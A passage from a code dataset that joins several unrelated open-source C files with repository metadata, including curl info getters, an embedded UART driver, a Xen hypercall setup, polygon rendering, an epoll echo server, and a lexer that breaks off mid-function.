Curl_ssl_backend(); tsi->internals = NULL; #ifdef USE_SSL if(conn && tsi->backend != CURLSSLBACKEND_NONE) { unsigned int i; for(i = 0; i < (sizeof(conn->ssl) / sizeof(conn->ssl[0])); ++i) { if(conn->ssl[i].use) { tsi->internals = Curl_ssl->get_internals(&conn->ssl[i], info); break; } } } #endif } break; default: return CURLE_UNKNOWN_OPTION; } return CURLE_OK; } static CURLcode getinfo_socket(struct Curl_easy *data, CURLINFO info, curl_socket_t *param_socketp) { switch(info) { case CURLINFO_ACTIVESOCKET: *param_socketp = Curl_getconnectinfo(data, NULL); break; default: return CURLE_UNKNOWN_OPTION; } return CURLE_OK; } CURLcode Curl_getinfo(struct Curl_easy *data, CURLINFO info, ...) { va_list arg; long *param_longp = NULL; double *param_doublep = NULL; curl_off_t *param_offt = NULL; const char **param_charp = NULL; struct curl_slist **param_slistp = NULL; curl_socket_t *param_socketp = NULL; int type; CURLcode result = CURLE_UNKNOWN_OPTION; if(!data) return result; va_start(arg, info); type = CURLINFO_TYPEMASK & (int)info; switch(type) { case CURLINFO_STRING: param_charp = va_arg(arg, const char **); if(param_charp) result = getinfo_char(data, info, param_charp); break; case CURLINFO_LONG: param_longp = va_arg(arg, long *); if(param_longp) result = getinfo_long(data, info, param_longp); break; case CURLINFO_DOUBLE: param_doublep = va_arg(arg, double *); if(param_doublep) result = getinfo_double(data, info, param_doublep); break; case CURLINFO_OFF_T: param_offt = va_arg(arg, curl_off_t *); if(param_offt) result = getinfo_offt(data, info, param_offt); break; case CURLINFO_SLIST: param_slistp = va_arg(arg, struct curl_slist **); if(param_slistp) result = getinfo_slist(data, info, param_slistp); break; case CURLINFO_SOCKET: param_socketp = va_arg(arg, curl_socket_t *); if(param_socketp) result = getinfo_socket(data, info, param_socketp); break; default: break; } va_end(arg); return result; }
nyaki-HUN/DESIRE
DESIRE-Modules/Network-curl/Externals/curl/src/getinfo.c
C
bsd-2-clause
15,969
/* * Copyright (C) 2005 by egnite Software GmbH. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the copyright holders nor the names of * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF * THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * For additional information see http://www.ethernut.de/ */ /* * $Log$ * Revision 0.01 2009/09/20 ulrichprinz * First checkin of using DBGU as limited standard USART. * */ //#define NUT_DEPRECATED #include <cfg/os.h> #include <cfg/clock.h> #include <cfg/arch.h> #include <cfg/uart.h> #include <string.h> #include <sys/atom.h> #include <sys/event.h> #include <sys/timer.h> #include <dev/irqreg.h> #include <dev/debug.h> #include <arch/cm3.h> #include <arch/arm/at91_dbgu.h> #include <dev/usartat91.h> /* * Local function prototypes. * * Commented functions are not supported by DBGU * */ static uint32_t At91UsartGetSpeed(void); static int At91UsartSetSpeed(uint32_t rate); static uint8_t At91UsartGetDataBits(void); static int At91UsartSetDataBits( uint8_t bits); static uint8_t At91UsartGetParity(void); static int At91UsartSetParity(uint8_t mode); static uint8_t At91UsartGetStopBits(void); static int At91UsartSetStopBits(uint8_t bits); static uint32_t At91UsartGetStatus(void); static int At91UsartSetStatus(uint32_t flags); static uint8_t At91UsartGetClockMode(void); static int At91UsartSetClockMode(uint8_t mode); static void At91UsartTxStart(void); static void At91UsartRxStart(void); static int At91UsartInit(void); static int At91UsartDeinit(void); static uint32_t At91UsartGetFlowControl(void); static int At91UsartSetFlowControl(uint32_t flags); #define sig_DBGU sig_UART #define DBGU_BASE AT91C_BASE_DBGU #define US_ID AT91C_ID_DBGU #define PMC_PCER AT91C_PMC_PCER #define PMC_PCDR AT91C_PMC_PCDR extern IRQ_HANDLER sig_DBGU; /*! * \addtogroup xgNutArchArmAt91Us */ /*@{*/ /*! * \brief DBGU device control block structure. */ static USARTDCB dcb_dbgu = { 0, /* dcb_modeflags */ 0, /* dcb_statusflags */ 0, /* dcb_rtimeout */ 0, /* dcb_wtimeout */ {0, 0, 0, 0, 0, 0, 0, 0}, /* dcb_tx_rbf */ {0, 0, 0, 0, 0, 0, 0, 0}, /* dcb_rx_rbf */ 0, /* dbc_last_eol */ At91UsartInit, /* dcb_init */ At91UsartDeinit, /* dcb_deinit */ At91UsartTxStart, /* dcb_tx_start */ At91UsartRxStart, /* dcb_rx_start */ At91UsartSetFlowControl, /* dcb_set_flow_control */ At91UsartGetFlowControl, /* dcb_get_flow_control */ At91UsartSetSpeed, /* dcb_set_speed */ At91UsartGetSpeed, /* dcb_get_speed */ At91UsartSetDataBits, /* dcb_set_data_bits */ At91UsartGetDataBits, /* dcb_get_data_bits */ At91UsartSetParity, /* dcb_set_parity */ At91UsartGetParity, /* dcb_get_parity */ At91UsartSetStopBits, /* dcb_set_stop_bits */ At91UsartGetStopBits, /* dcb_get_stop_bits */ At91UsartSetStatus, /* dcb_set_status */ At91UsartGetStatus, /* dcb_get_status */ At91UsartSetClockMode, /* dcb_set_clock_mode */ At91UsartGetClockMode, /* dcb_get_clock_mode */ }; /*! * \name AT91 DBGU Device */ /*@{*/ /*! * \brief USART0 device information structure. * * An application must pass a pointer to this structure to * NutRegisterDevice() before using the serial communication * driver of the AT91's on-chip USART0. * * The device is named \b uart0. * * \showinitializer */ NUTDEVICE devDebug = { 0, /* Pointer to next device, dev_next. */ {'d', 'b', 'g', 'u', 0, 0, 0, 0, 0}, /* Unique device name, dev_name. */ IFTYP_CHAR, /* Type of device, dev_type. */ AT91C_BASE_DBGU, /* Base address, dev_base (not used). */ 0, /* First interrupt number, dev_irq (not used). */ 0, /* Interface control block, dev_icb (not used). */ &dcb_dbgu, /* Driver control block, dev_dcb. */ UsartInit, /* Driver initialization routine, dev_init. */ UsartIOCtl, /* Driver specific control function, dev_ioctl. */ UsartRead, /* Read from device, dev_read. */ UsartWrite, /* Write to device, dev_write. */ UsartOpen, /* Open a device or file, dev_open. */ UsartClose, /* Close a device or file, dev_close. */ UsartSize /* Request file size, dev_size. */ }; /*@}*/ /*@}*/ /* Modem control includes hardware handshake. */ /* * Hardware driven control signals are not available * with the DBUG unit of most chips. */ #undef UART_MODEM_CONTROL #undef UART_HARDWARE_HANDSHAKE #define UART_RXTX_PINS (AT91C_PA11_DRXD|AT91C_PA12_DTXD) #undef UART_HDX_PIN #undef UART_RTS_PIN #undef UART_CTS_PIN #undef UART_MODEM_PINS #define UART_RXTX_PINS_ENABLE() outr(AT91C_PIOA_PDR, UART_RXTX_PINS) #define UART_INIT_BAUDRATE 115200 #define USARTn_BASE AT91C_BASE_DBGU #define US_ID AT91C_ID_DBGU #define SIG_UART sig_UART #define dcb_usart dcb_dbgu #include "usartat91.c"
Astralix/ethernut32
nut/arch/cm3/dev/atmel/debug_sam3u.c
C
bsd-2-clause
6,628
/* Copyright (c) 2012, William Magato All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND CONTRIBUTORS ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S) OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the copyright holder(s) or contributors. */ #include <errno.h> #include <unistd.h> #include <sys/types.h> // define function pointer typedef off64_t (*llamaos_lseek64_t) (int, off64_t, int); // function pointer variable static llamaos_lseek64_t llamaos_lseek64 = 0; // function called by llamaOS to register pointer void register_llamaos_lseek64 (llamaos_lseek64_t func) { llamaos_lseek64 = func; } /* Seek to OFFSET on FD, starting from WHENCE. */ off64_t __libc_lseek64 (int fd, off64_t offset, int whence) { if (0 != llamaos_lseek64) { if (fd < 0) { __set_errno (EBADF); return -1; } switch (whence) { case SEEK_SET: case SEEK_CUR: case SEEK_END: break; default: __set_errno (EINVAL); return -1; } return llamaos_lseek64 (fd, offset, whence); } __set_errno (ENOSYS); return -1; } weak_alias (__libc_lseek64, __lseek64) weak_alias (__libc_lseek64, lseek64)
wilseypa/llamaOS
src/sys/glibc-2.17/sysdeps/llamaos/export/lseek64.c
C
bsd-2-clause
2,517
#include <stdlib.h> #include <string.h> #include <stdio.h> #include "vm_strings.h" #include <assert.h> String *String_alloc(size_t length) { String *p = (String *)calloc(1, sizeof(String) + (length+1) * sizeof(char)); p->length = length; return p; } String *String_new(char *orig) { String *s = String_alloc(strlen(orig)); strcpy(s->str, orig); return s; } String *String_dup(String *orig) { String *s = String_alloc(orig->length); strcpy(s->str, orig->str); return s; } String *String_from_char(char c) { char buf[2] = {c, '\0'}; return String_new(buf); } String *String_from_int(int value) { char buf[50]; sprintf(buf,"%d",value); return String_new(buf); } int String_len(String *s) { if (s == NULL) { fprintf(stderr, "len() cannot be applied to NULL string object\n"); return -1; } return (int)s->length; } String *String_add(String *s, String *t) { if ( s == NULL && t == NULL) { fprintf(stderr, "Addition Operator cannot be applied to two NULL string objects\n"); return NIL_STRING; } if ( s == NULL ) return t; // don't REF/DEREF as we might free our return value if ( t == NULL ) return s; size_t n = strlen(s->str) + strlen(t->str); String *u = String_alloc(n); strcpy(u->str, s->str); strcat(u->str, t->str); return u; } bool String_eq(String *s, String *t) { assert(s); assert(t); return strcmp(s->str, t->str) == 0; } bool String_neq(String *s, String *t) { return !String_eq(s,t); } bool String_gt(String *s, String *t) { assert(s); assert(t); return strcmp(s->str, t->str) > 0; } bool String_ge(String *s, String *t) { assert(s); assert(t); return strcmp(s->str, t->str) >= 0; } bool String_lt(String *s, String *t) { assert(s); assert(t); return strcmp(s->str, t->str) < 0; } bool String_le(String *s, String *t) { assert(s); assert(t); return strcmp(s->str, t->str) <= 0; }
USF-CS345-starterkits/parrt-bytecode
src/vm_strings.c
C
bsd-2-clause
1,852
#include <math.h> #include "evas_common.h" #include "evas_blend_private.h" typedef struct _RGBA_Span RGBA_Span; typedef struct _RGBA_Edge RGBA_Edge; typedef struct _RGBA_Vertex RGBA_Vertex; struct _RGBA_Span { EINA_INLIST; int x, y, w; }; struct _RGBA_Edge { double x, dx; int i; }; struct _RGBA_Vertex { double x, y; int i; }; #define POLY_EDGE_DEL(_i) \ { \ int _j; \ \ for (_j = 0; (_j < num_active_edges) && (edges[_j].i != _i); _j++); \ if (_j < num_active_edges) \ { \ num_active_edges--; \ memmove(&(edges[_j]), &(edges[_j + 1]), \ (num_active_edges - _j) * sizeof(RGBA_Edge)); \ } \ } #define POLY_EDGE_ADD(_i, _y) \ { \ int _j; \ float _dx; \ RGBA_Vertex *_p, *_q; \ if (_i < (n - 1)) _j = _i + 1; \ else _j = 0; \ if (point[_i].y < point[_j].y) \ { \ _p = &(point[_i]); \ _q = &(point[_j]); \ } \ else \ { \ _p = &(point[_j]); \ _q = &(point[_i]); \ } \ edges[num_active_edges].dx = _dx = (_q->x - _p->x) / (_q->y - _p->y); \ edges[num_active_edges].x = (_dx * ((float)_y + 0.5 - _p->y)) + _p->x; \ edges[num_active_edges].i = _i; \ num_active_edges++; \ } EAPI void evas_common_polygon_init(void) { } EAPI RGBA_Polygon_Point * evas_common_polygon_point_add(RGBA_Polygon_Point *points, int x, int y) { RGBA_Polygon_Point *pt; pt = malloc(sizeof(RGBA_Polygon_Point)); if (!pt) return points; pt->x = x; pt->y = y; points = (RGBA_Polygon_Point *)eina_inlist_append(EINA_INLIST_GET(points), EINA_INLIST_GET(pt)); return points; } EAPI RGBA_Polygon_Point * evas_common_polygon_points_clear(RGBA_Polygon_Point *points) { if (points) { while (points) { RGBA_Polygon_Point *old_p; old_p = points; points = (RGBA_Polygon_Point *)eina_inlist_remove(EINA_INLIST_GET(points), EINA_INLIST_GET(points)); free(old_p); } } return NULL; } static int polygon_point_sorter(const void *a, const void *b) { RGBA_Vertex *p, *q; p = (RGBA_Vertex *)a; q = (RGBA_Vertex *)b; if (p->y <= q->y) return -1; return 1; } static int polygon_edge_sorter(const void *a, const void *b) { RGBA_Edge *p, *q; p = (RGBA_Edge *)a; q = (RGBA_Edge *)b; if (p->x <= q->x) return -1; return 1; } EAPI void evas_common_polygon_draw(RGBA_Image *dst, RGBA_Draw_Context *dc, RGBA_Polygon_Point *points, int x, int y) { RGBA_Gfx_Func func; RGBA_Polygon_Point *pt; RGBA_Vertex *point; RGBA_Edge *edges; Eina_Inlist *spans; int num_active_edges; int n; int i, j, k; int y0, y1, yi; int ext_x, ext_y, ext_w, ext_h; int *sorted_index; ext_x = 0; ext_y = 0; ext_w = dst->cache_entry.w; ext_h = dst->cache_entry.h; if (dc->clip.use) { if (dc->clip.x > ext_x) { ext_w += ext_x - dc->clip.x; ext_x = dc->clip.x; } if ((ext_x + ext_w) > (dc->clip.x + dc->clip.w)) { ext_w = (dc->clip.x + dc->clip.w) - ext_x; } if (dc->clip.y > ext_y) { ext_h += ext_y - dc->clip.y; ext_y = dc->clip.y; } if ((ext_y + ext_h) > (dc->clip.y + dc->clip.h)) { ext_h = (dc->clip.y + dc->clip.h) - ext_y; } } if ((ext_w <= 0) || (ext_h <= 0)) return; evas_common_cpu_end_opt(); n = 0; EINA_INLIST_FOREACH(points, pt) n++; if (n < 3) return; edges = malloc(sizeof(RGBA_Edge) * n); if (!edges) return; point = malloc(sizeof(RGBA_Vertex) * n); if (!point) { free(edges); return; } sorted_index = malloc(sizeof(int) * n); if (!sorted_index) { free(edges); free(point); return; } k = 0; EINA_INLIST_FOREACH(points, pt) { point[k].x = pt->x + x; point[k].y = pt->y + y; point[k].i = k; k++; } qsort(point, n, sizeof(RGBA_Vertex), polygon_point_sorter); for (k = 0; k < n; k++) sorted_index[k] = point[k].i; k = 0; EINA_INLIST_FOREACH(points, pt) { point[k].x = pt->x + x; point[k].y = pt->y + y; point[k].i = k; k++; } y0 = MAX(ext_y, ceil(point[sorted_index[0]].y - 0.5)); y1 = MIN(ext_y + ext_h - 1, floor(point[sorted_index[n - 1]].y - 0.5)); k = 0; num_active_edges = 0; spans = NULL; for (yi = y0; yi <= y1; yi++) { for (; (k < n) && (point[sorted_index[k]].y <= ((double)yi + 0.5)); k++) { i = sorted_index[k]; if (i > 0) j = i - 1; else j = n - 1; if (point[j].y <= ((double)yi - 0.5)) { POLY_EDGE_DEL(j) } else if (point[j].y > ((double)yi + 0.5)) { POLY_EDGE_ADD(j, yi) } if (i < (n - 1)) j = i + 1; else j = 0; if (point[j].y <= ((double)yi - 0.5)) { POLY_EDGE_DEL(i) } else if (point[j].y > ((double)yi + 0.5)) { POLY_EDGE_ADD(i, yi) } } qsort(edges, num_active_edges, sizeof(RGBA_Edge), polygon_edge_sorter); for (j = 0; j < num_active_edges; j += 2) { int x0, x1; x0 = ceil(edges[j].x - 0.5); if (j < (num_active_edges - 1)) x1 = floor(edges[j + 1].x - 0.5); else x1 = x0; if ((x1 >= ext_x) && (x0 < (ext_x + ext_w)) && (x0 <= x1)) { RGBA_Span *span; if (x0 < ext_x) x0 = ext_x; if (x1 >= (ext_x + ext_w)) x1 = ext_x + ext_w - 1; span = malloc(sizeof(RGBA_Span)); spans = eina_inlist_append(spans, EINA_INLIST_GET(span)); span->y = yi; span->x = x0; span->w = (x1 - x0) + 1; } edges[j].x += edges[j].dx; edges[j + 1].x += edges[j + 1].dx; } } free(edges); free(point); free(sorted_index); func = evas_common_gfx_func_composite_color_span_get(dc->col.col, dst, 1, dc->render_op); if (spans) { RGBA_Span *span; EINA_INLIST_FOREACH(spans, span) { DATA32 *ptr; #ifdef EVAS_SLI if (((span->y) % dc->sli.h) == dc->sli.y) #endif { ptr = dst->image.data + (span->y * (dst->cache_entry.w)) + span->x; func(NULL, NULL, dc->col.col, ptr, span->w); } } while (spans) { span = (RGBA_Span *)spans; spans = eina_inlist_remove(spans, spans); free(span); } } }
nashidau/Evas-Next
src/lib/engines/common/evas_polygon_main.c
C
bsd-2-clause
7,727
/* Copyright (c) Citrix Systems Inc. * All rights reserved. * * Redistribution and use in source and binary forms, * with or without modification, are permitted provided * that the following conditions are met: * * * Redistributions of source code must retain the above * copyright notice, this list of conditions and the * following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the * following disclaimer in the documentation and/or other * materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <ntddk.h> #include <xen.h> #include <util.h> #include "hypercall.h" #include "dbg_print.h" #include "assert.h" #define MAXIMUM_HYPERCALL_PFN_COUNT 2 #pragma code_seg("hypercall") __declspec(allocate("hypercall")) static UCHAR __Section[(MAXIMUM_HYPERCALL_PFN_COUNT + 1) * PAGE_SIZE]; static ULONG XenBaseLeaf = 0x40000000; static USHORT XenMajorVersion; static USHORT XenMinorVersion; static PFN_NUMBER HypercallPfn[MAXIMUM_HYPERCALL_PFN_COUNT]; static ULONG HypercallPfnCount; typedef UCHAR HYPERCALL_GATE[32]; typedef HYPERCALL_GATE *PHYPERCALL_GATE; PHYPERCALL_GATE Hypercall; NTSTATUS HypercallInitialize( VOID ) { ULONG EAX = 'DEAD'; ULONG EBX = 'DEAD'; ULONG ECX = 'DEAD'; ULONG EDX = 'DEAD'; ULONG Index; ULONG HypercallMsr; NTSTATUS status; status = STATUS_UNSUCCESSFUL; for (;;) { CHAR Signature[13] = {0}; __CpuId(XenBaseLeaf, &EAX, &EBX, &ECX, &EDX); *((PULONG)(Signature + 0)) = EBX; *((PULONG)(Signature + 4)) = ECX; *((PULONG)(Signature + 8)) = EDX; if (strcmp(Signature, "XenVMMXenVMM") == 0 && EAX >= XenBaseLeaf + 2) break; XenBaseLeaf += 0x100; if (XenBaseLeaf > 0x40000100) goto fail1; } __CpuId(XenBaseLeaf + 1, &EAX, NULL, NULL, NULL); XenMajorVersion = (USHORT)(EAX >> 16); XenMinorVersion = (USHORT)(EAX & 0xFFFF); Info("XEN %d.%d\n", XenMajorVersion, XenMinorVersion); Info("INTERFACE 0x%08x\n", __XEN_INTERFACE_VERSION__); if ((ULONG_PTR)__Section & (PAGE_SIZE - 1)) Hypercall = (PVOID)(((ULONG_PTR)__Section + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1)); else Hypercall = (PVOID)__Section; ASSERT3U(((ULONG_PTR)Hypercall & (PAGE_SIZE - 1)), ==, 0); for (Index = 0; Index < MAXIMUM_HYPERCALL_PFN_COUNT; Index++) { PHYSICAL_ADDRESS PhysicalAddress; PhysicalAddress = MmGetPhysicalAddress((PUCHAR)Hypercall + (Index << PAGE_SHIFT)); HypercallPfn[Index] = (PFN_NUMBER)(PhysicalAddress.QuadPart >> PAGE_SHIFT); } __CpuId(XenBaseLeaf + 2, &EAX, &EBX, NULL, NULL); HypercallPfnCount = EAX; ASSERT(HypercallPfnCount <= MAXIMUM_HYPERCALL_PFN_COUNT); HypercallMsr = EBX; for (Index = 0; Index < HypercallPfnCount; Index++) { Info("HypercallPfn[%d]: %p\n", Index, (PVOID)HypercallPfn[Index]); __writemsr(HypercallMsr, (ULONG64)HypercallPfn[Index] << PAGE_SHIFT); } return STATUS_SUCCESS; fail1: Error("fail1 (%08x)", status); return status; } extern uintptr_t __stdcall hypercall_gate_2(uint32_t ord, uintptr_t arg1, uintptr_t arg2); ULONG_PTR __Hypercall2( ULONG Ordinal, ULONG_PTR Argument1, ULONG_PTR Argument2 ) { return hypercall_gate_2(Ordinal, Argument1, Argument2); } extern uintptr_t __stdcall hypercall_gate_3(uint32_t ord, uintptr_t arg1, uintptr_t arg2, uintptr_t arg3); ULONG_PTR __Hypercall3( ULONG Ordinal, ULONG_PTR Argument1, ULONG_PTR Argument2, ULONG_PTR Argument3 ) { return hypercall_gate_3(Ordinal, Argument1, Argument2, Argument3); } VOID HypercallTeardown( VOID ) { ULONG Index; Hypercall = NULL; for (Index = 0; Index < MAXIMUM_HYPERCALL_PFN_COUNT; Index++) HypercallPfn[Index] = 0; HypercallPfnCount = 0; }
xenserver/win-xenbus
src/xen/hypercall.c
C
bsd-2-clause
4,901
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/epoll.h> #include <arpa/inet.h> #define BUFF_SIZE 1024 int main(int argc, const char *argv[]) { int i = 0; char buff[BUFF_SIZE]; ssize_t msg_len = 0; int srv_fd = -1; int cli_fd = -1; int epoll_fd = -1; struct sockaddr_in srv_addr; struct sockaddr_in cli_addr; socklen_t cli_addr_len; struct epoll_event e, es[2]; memset(&srv_addr, 0, sizeof(srv_addr)); memset(&cli_addr, 0, sizeof(cli_addr)); memset(&e, 0, sizeof(e)); srv_fd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); if (srv_fd < 0) { printf("Cannot create socket\n"); return 1; } srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = htonl(INADDR_ANY); srv_addr.sin_port = htons(5555); if (bind(srv_fd, (struct sockaddr*) &srv_addr, sizeof(srv_addr)) < 0) { printf("Cannot bind socket\n"); close(srv_fd); return 1; } if (listen(srv_fd, 1) < 0) { printf("Cannot listen\n"); close(srv_fd); return 1; } epoll_fd = epoll_create(2); if (epoll_fd < 0) { printf("Cannot create epoll\n"); close(srv_fd); return 1; } e.events = EPOLLIN; e.data.fd = srv_fd; if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, srv_fd, &e) < 0) { printf("Cannot add server socket to epoll\n"); close(epoll_fd); close(srv_fd); return 1; } for(;;) { i = epoll_wait(epoll_fd, es, 2, -1); if (i < 0) { printf("Cannot wait for events\n"); close(epoll_fd); close(srv_fd); return 1; } for (--i; i > -1; --i) { if (es[i].data.fd == srv_fd) { cli_fd = accept(srv_fd, (struct sockaddr*) &cli_addr, &cli_addr_len); if (cli_fd < 0) { printf("Cannot accept client\n"); close(epoll_fd); close(srv_fd); return 1; } e.data.fd = cli_fd; if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, cli_fd, &e) < 0) { printf("Cannot accept client\n"); close(epoll_fd); close(srv_fd); return 1; } } if (es[i].data.fd == cli_fd) { if (es[i].events & EPOLLIN) { msg_len = read(cli_fd, buff, BUFF_SIZE); if (msg_len > 0) { write(cli_fd, buff, msg_len); } close(cli_fd); epoll_ctl(epoll_fd, EPOLL_CTL_DEL, cli_fd, &e); cli_fd = -1; } } } } return 0; }
AdamWolanski/internship-tasks
task03/epoll/main.c
C
bsd-2-clause
2,905
/* * The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17. * * Find the sum of all the primes below two million. */ #include <stdio.h> #include <stdint.h> #include "euler.h" #define PROBLEM 10 int main(int argc, char **argv) { uint64_t sum = 0, number = 0; do { number++; if(is_prime(number)) { sum += number; } } while(number != 2000000); printf("%llu\n", sum); return(0); }
skreuzer/euler
problem_010.c
C
bsd-2-clause
440
/* * Copyright (c) 2014 ASMlover. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list ofconditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materialsprovided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "global.h" #include "lexer.h" struct KL_Lexer { char fname[BFILE]; FILE* stream; char lexbuf[BSIZE]; int lineno; int bsize; int pos; KL_Boolean eof; }; enum KL_LexState { LEX_STATE_BEGIN = 0, LEX_STATE_FINISH, LEX_STATE_IN_CINT, LEX_STATE_IN_CREAL, LEX_STATE_IN_CSTR, LEX_STATE_IN_ID, LEX_STATE_IN_ASSIGNEQ, /* =/== */ LEX_STATE_IN_NEGLTLE, /* <>/</<= */ LEX_STATE_IN_GTGE, /* >/>= */ LEX_STATE_IN_AND, /* && */ LEX_STATE_IN_OR, /* || */ LEX_STATE_IN_COMMENT, /* # */ }; static const struct { const char* lexptr; int token; } kReserveds[] = { {"nil", TT_NIL}, {"true", TT_TRUE}, {"false", TT_FALSE}, {"if", TT_IF}, {"else", TT_ELSE}, {"while", TT_WHILE}, {"break", TT_BREAK}, {"func", TT_FUNC}, {"return", TT_RET}, }; static int get_char(KL_Lexer* lex) { if (lex->pos >= lex->bsize) { if (NULL != fgets(lex->lexbuf, sizeof(lex->lexbuf), lex->stream)) { lex->pos = 0; lex->bsize = (int)strlen(lex->lexbuf); } else { lex->eof = BOOL_YES; return EOF; } } return lex->lexbuf[lex->pos++]; } static void unget_char(KL_Lexer* lex) { if (!lex->eof) --lex->pos; } static int lookup_reserved(const char* s) { int i, count = countof(kReserveds); for (i = 0; i < count; ++i) { if (0 == strcmp(kReserveds[i].lexptr, s)) return kReserveds[i].token; } return TT_ID; } KL_Lexer* KL_lexer_create(const char* fname) { KL_Lexer* lex = (KL_Lexer*)malloc(sizeof(*lex)); if (NULL == lex) return NULL; do { lex->stream = fopen(fname, "r"); if (NULL == lex->stream) break; strcpy(lex->fname, fname); lex->lineno = 1; lex->bsize = 0; lex->pos = 0; lex->eof = BOOL_NO; return lex; } while (0); if (NULL != lex) free(lex); return NULL; } void KL_lexer_release(KL_Lexer** lex) { if (NULL != *lex) { if (NULL != (*lex)->stream) fclose((*lex)->stream); free(*lex); *lex = NULL; } } int KL_lexer_token(KL_Lexer* lex, KL_Token* tok) { int type = TT_ERR; int i = 0; int state = LEX_STATE_BEGIN; KL_Boolean save = BOOL_NO; int c; while (LEX_STATE_FINISH != state) { c = get_char(lex); save = BOOL_YES; switch (state) { case LEX_STATE_BEGIN: if (' ' == c || '\t' == c) { save = BOOL_NO; } else if ('\n' == c) { save = BOOL_NO; ++lex->lineno; } else if (isdigit(c)) { state = LEX_STATE_IN_CINT; } else if ('\'' == c) { save = 